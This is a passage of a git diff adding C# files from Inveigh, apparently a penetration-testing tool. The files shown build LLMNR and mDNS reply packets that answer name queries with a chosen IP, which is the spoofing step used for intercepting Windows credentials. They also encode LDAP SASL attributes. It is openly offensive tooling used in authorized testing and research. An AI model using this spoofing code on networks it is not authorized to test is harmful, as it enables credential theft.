+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.LDAP;
+using System;
+using System.Collections.Generic;
+using System.DirectoryServices.Protocols;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.LDAP
+{
+ class LDAPSupportedSASLMechanisms : LDAPPartialAttributeList
+ {
+
+ public LDAPSupportedSASLMechanisms()
+ {
+ this.Type = "supportedSASLMechanisms";
+ this.Vals = new string[] { "GSSAPI", "GSS-SPNEGO", "EXTERNAL", "DIGESTMD5" };
+ }
+
+ public byte[] Encode()
+ {
+ return BerConverter.Encode("{st{v}}", this.Type, 0x31, this.Vals);
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRChecker.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRChecker.cs
new file mode 100644
index 0000000..c1ca969
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRChecker.cs
@@ -0,0 +1,41 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.DNS;
+
+namespace Quiddity.LLMNR
+{
+ class LLMNRChecker : DNSChecker
+ {
+
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRHeader.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRHeader.cs
new file mode 100644
index 0000000..8df7faa
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRHeader.cs
@@ -0,0 +1,130 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.DNS;
+using System;
+
+namespace Quiddity.LLMNR
+{
+ class LLMNRHeader : DNSHeader
+ {
+ // https://tools.ietf.org/html/rfc4795#section-2.1
+
+ public bool C { get; set; } // 1 bit
+ public bool T { get; set; } // 1 bit
+
+ public LLMNRHeader()
+ {
+
+ }
+
+ public LLMNRHeader (byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public byte[] GetPacket(uint ttl, string ip, string ipv6, byte[] data, out string name, out string type)
+ {
+ this.ReadBytes(data, 0);
+ name = "";
+ type = "A";
+
+ if (!this.QR)
+ {
+ LLMNRQuestion question = new LLMNRQuestion();
+ question.ReadBytes(data, 12);
+
+ if (string.Equals(BitConverter.ToString(question.QType), "00-1C"))
+ {
+ type = "AAAA";
+ ip = ipv6;
+ }
+
+ LLMNRResource response = new LLMNRResource();
+ return response.GetBytes(question, ttl, ip, this.ID);
+ }
+
+ return null;
+ }
+
+
+ protected override void ReadFlags()
+ {
+ string flags = Convert.ToString(BitConverter.ToUInt16(this.Flags, 0), 2).PadLeft(16, '0');
+
+ if (string.Equals(flags.Substring(0, 1), "1"))
+ {
+ this.QR = true;
+ }
+
+ this.Opcode = flags.Substring(1, 4);
+
+ if (string.Equals(flags.Substring(5, 1), "1"))
+ {
+ this.C = true;
+ }
+
+ if (string.Equals(flags.Substring(6, 1), "1"))
+ {
+ this.TC = true;
+ }
+
+ if (string.Equals(flags.Substring(7, 1), "1"))
+ {
+ this.T = true;
+ }
+
+ this.Z = flags.Substring(8, 4);
+ this.RCode = flags.Substring(12, 4);
+ }
+
+ protected override void WriteFlags()
+ {
+ string flags = this.QR ? "1" : "0";
+ flags += this.Opcode;
+ flags += this.C ? "1" : "0";
+ flags += this.TC ? "1" : "0";
+ flags += this.T ? "1" : "0";
+ flags += this.Z;
+ flags += this.RCode;
+ byte[] bytes = new byte[2];
+
+ for (int i = 0; i < 2; ++i)
+ {
+ bytes[i] = Convert.ToByte(flags.Substring(8 * i, 8), 2);
+ }
+
+ this.Flags = bytes;
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRPacket.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRPacket.cs
new file mode 100644
index 0000000..c424a82
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRPacket.cs
@@ -0,0 +1,98 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.LLMNR;
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Text;
+
+namespace Quiddity.LLMNR
+{
+ class LLMNRPacket
+ {
+ public LLMNRHeader Header { get; set; }
+ public LLMNRQuestion Question { get; set; }
+ public LLMNRResource Resource { get; set; }
+
+ public LLMNRPacket(byte[] data)
+ {
+ ReadBytes(data);
+ }
+
+ public LLMNRPacket ReadBytes(byte[] data)
+ {
+ this.Header = new LLMNRHeader(data);
+ this.Question = new LLMNRQuestion(data);
+ return this;
+ }
+
+ public byte[] GetBytes(uint ttl, string replyIP, string replyIPv6)
+ {
+
+ if (string.Equals(this.Question.Type, "AAAA") && !String.IsNullOrEmpty(replyIPv6))
+ {
+ replyIP = replyIPv6;
+ }
+
+ byte[] rdata = IPAddress.Parse(replyIP).GetAddressBytes();
+
+ this.Header = new LLMNRHeader
+ {
+ ID = this.Header.ID,
+ QR = true,
+ Opcode = "0000",
+ C = false,
+ TC = false,
+ T = false,
+ Z = "0000",
+ RCode = "0000",
+ QDCount = 1,
+ ANCount = 1
+ };
+
+ this.Resource = new LLMNRResource
+ {
+ Name = this.Question.QName,
+ Type = this.Question.QType,
+ Class = this.Question.QClass,
+ TTL = ttl,
+ RDLength = (ushort)rdata.Length,
+ RData = rdata
+ };
+
+ return Utilities.BlockCopy(this.Header.GetBytes(), this.Question.GetBytes(), this.Resource.GetBytes());
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRQuestion.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRQuestion.cs
new file mode 100644
index 0000000..7c8fd9e
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRQuestion.cs
@@ -0,0 +1,53 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using Quiddity.DNS;
+
+namespace Quiddity.LLMNR
+{
+ class LLMNRQuestion : DNSQuestion
+ {
+ public LLMNRQuestion()
+ {
+
+ }
+
+ public LLMNRQuestion(byte[] data)
+ {
+ ReadBytes(data, 12);
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRResource.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRResource.cs
new file mode 100644
index 0000000..e4f090e
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRResource.cs
@@ -0,0 +1,74 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Text;
+using Quiddity.DNS;
+using Quiddity.Support;
+
+namespace Quiddity.LLMNR
+{
+ class LLMNRResource : DNSResource
+ {
+ public byte[] GetBytes(LLMNRQuestion llmnrQuestion, uint TTL, string responseData, byte[] id)
+ {
+ byte[] rdata = IPAddress.Parse(responseData).GetAddressBytes();
+
+ LLMNRHeader responseHeader = new LLMNRHeader
+ {
+ ID = id,
+ QR = true,
+ Opcode = "0000",
+ C = false,
+ TC = false,
+ T = false,
+ Z = "0000",
+ RCode = "0000",
+ QDCount = 1,
+ ANCount = 1
+ };
+
+ this.Name = llmnrQuestion.QName;
+ this.Type = llmnrQuestion.QType;
+ this.Class = llmnrQuestion.QClass;
+ this.TTL = TTL;
+ this.RDLength = (ushort)rdata.Length;
+ this.RData = rdata;
+
+ return Utilities.BlockCopy(responseHeader.GetBytes(), llmnrQuestion.GetBytes(), this.GetBytes());
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSChecker.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSChecker.cs
new file mode 100644
index 0000000..729adca
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSChecker.cs
@@ -0,0 +1,84 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.DNS;
+using Quiddity.Support;
+using System;
+
+namespace Quiddity.MDNS
+{
+ class MDNSChecker : DNSChecker
+ {
+ public string[] Questions { get; set; }
+ public string OutputQuestionDenied { get; set; }
+
+ public MDNSChecker()
+ {
+ this.OutputReplyAllowed = "response sent";
+ this.OutputInspect = "inspect only";
+ this.OutputDisabled = "disabled";
+ this.OutputHostDenied = "host ignored";
+ this.OutputIPDenied = "IP ignored";
+ this.OutputTypeDenied = "type ignored";
+ this.OutputServiceDenied = "service ignored";
+ this.OutputRepeat = "previous capture";
+ this.OutputQuestionDenied = "question type ignored";
+ }
+
+ public virtual bool Check(string name, string question, string type, string clientIP)
+ {
+
+ if (!Check(name, type, clientIP))
+ {
+ return false;
+ }
+ else if (!QuestionIsAllowed(question))
+ {
+ this.OutputMessage = this.OutputQuestionDenied;
+ return false;
+ }
+
+ return true;
+ }
+
+ public bool QuestionIsAllowed(string question)
+ {
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.Questions) && !Array.Exists(this.Questions, element => element == question.ToUpper()))
+ {
+ return false;
+ }
+
+ return true;
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSHeader.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSHeader.cs
new file mode 100644
index 0000000..2647e59
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSHeader.cs
@@ -0,0 +1,124 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using Quiddity.DNS;
+
+namespace Quiddity.MDNS
+{
+ class MDNSHeader : DNSHeader
+ {
+ public bool AD { get; set; } // 1 bit
+ public bool CD { get; set; } // 1 bit
+
+ public MDNSHeader()
+ {
+
+ }
+
+ public MDNSHeader(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ protected override void ReadFlags()
+ {
+ string flags = Convert.ToString(BitConverter.ToUInt16(this.Flags, 0), 2).PadLeft(16, '0');
+
+ if (string.Equals(flags.Substring(0, 1), "1"))
+ {
+ this.QR = true;
+ }
+
+ this.Opcode = flags.Substring(1, 4);
+
+ if (string.Equals(flags.Substring(5, 1), "1"))
+ {
+ this.AA = true;
+ }
+
+ if (string.Equals(flags.Substring(6, 1), "1"))
+ {
+ this.TC = true;
+ }
+
+ if (string.Equals(flags.Substring(7, 1), "1"))
+ {
+ this.RD = true;
+ }
+
+ if (string.Equals(flags.Substring(8, 1), "1"))
+ {
+ this.RA = true;
+ }
+
+ this.Z = flags.Substring(9, 1);
+
+ if (string.Equals(flags.Substring(10, 1), "1"))
+ {
+ this.AD = true;
+ }
+
+ if (string.Equals(flags.Substring(11, 1), "1"))
+ {
+ this.CD = true;
+ }
+
+ this.RCode = flags.Substring(12, 4);
+ }
+
+ protected override void WriteFlags()
+ {
+ string flags = this.QR ? "1" : "0";
+ flags += this.Opcode;
+ flags += this.AA ? "1" : "0";
+ flags += this.TC ? "1" : "0";
+ flags += this.RD ? "1" : "0";
+ flags += this.RA ? "1" : "0";
+ flags += this.Z;
+ flags += this.AD ? "1" : "0";
+ flags += this.CD ? "1" : "0";
+ flags += this.RCode;
+ byte[] bytes = new byte[2];
+
+ for (int i = 0; i < 2; ++i)
+ {
+ bytes[i] = Convert.ToByte(flags.Substring(8 * i, 8), 2);
+ }
+
+ this.Flags = bytes;
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSPacket.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSPacket.cs
new file mode 100644
index 0000000..003a629
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSPacket.cs
@@ -0,0 +1,99 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Text;
+
+namespace Quiddity.MDNS
+{
+ class MDNSPacket
+ {
+ public MDNSHeader Header { get; set; }
+ public MDNSQuestion Question { get; set; }
+ public MDNSResource Resource { get; set; }
+ public MDNSPacket(byte[] data)
+ {
+ ReadBytes(data);
+ }
+
+ public MDNSPacket ReadBytes(byte[] data)
+ {
+ this.Header = new MDNSHeader(data);
+ this.Question = new MDNSQuestion(data);
+ return this;
+ }
+
+ public byte[] GetBytes(uint ttl, string replyIP, string replyIPv6)
+ {
+
+ if (string.Equals(this.Question.Type, "AAAA") && !String.IsNullOrEmpty(replyIPv6))
+ {
+ replyIP = replyIPv6;
+ }
+
+ byte[] rdata = IPAddress.Parse(replyIP).GetAddressBytes();
+
+ this.Header = new MDNSHeader
+ {
+ ID = this.Header.ID,
+ QR = true,
+ Opcode = "0000",
+ AA = true,
+ TC = false,
+ RD = false,
+ RA = false,
+ Z = "0",
+ AD = false,
+ CD = false,
+ RCode = "0000",
+ QDCount = 1,
+ ANCount = 1
+ };
+
+ this.Resource = new MDNSResource
+ {
+ Name = this.Question.QName,
+ Type = this.Question.QType,
+ Class = this.Question.QClass,
+ TTL = ttl,
+ RDLength = (ushort)rdata.Length,
+ RData = rdata
+ };
+
+ return Utilities.BlockCopy(this.Header.GetBytes(), this.Question.GetBytes(), this.Resource.GetBytes());
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSQuestion.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSQuestion.cs
new file mode 100644
index 0000000..e3b224a
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSQuestion.cs
@@ -0,0 +1,63 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.DNS;
+using System;
+
+namespace Quiddity.MDNS
+{
+ class MDNSQuestion : DNSQuestion
+ {
+ public string QuestionType { get; set; }
+
+ public MDNSQuestion()
+ {
+
+ }
+
+ public MDNSQuestion(byte[] data)
+ {
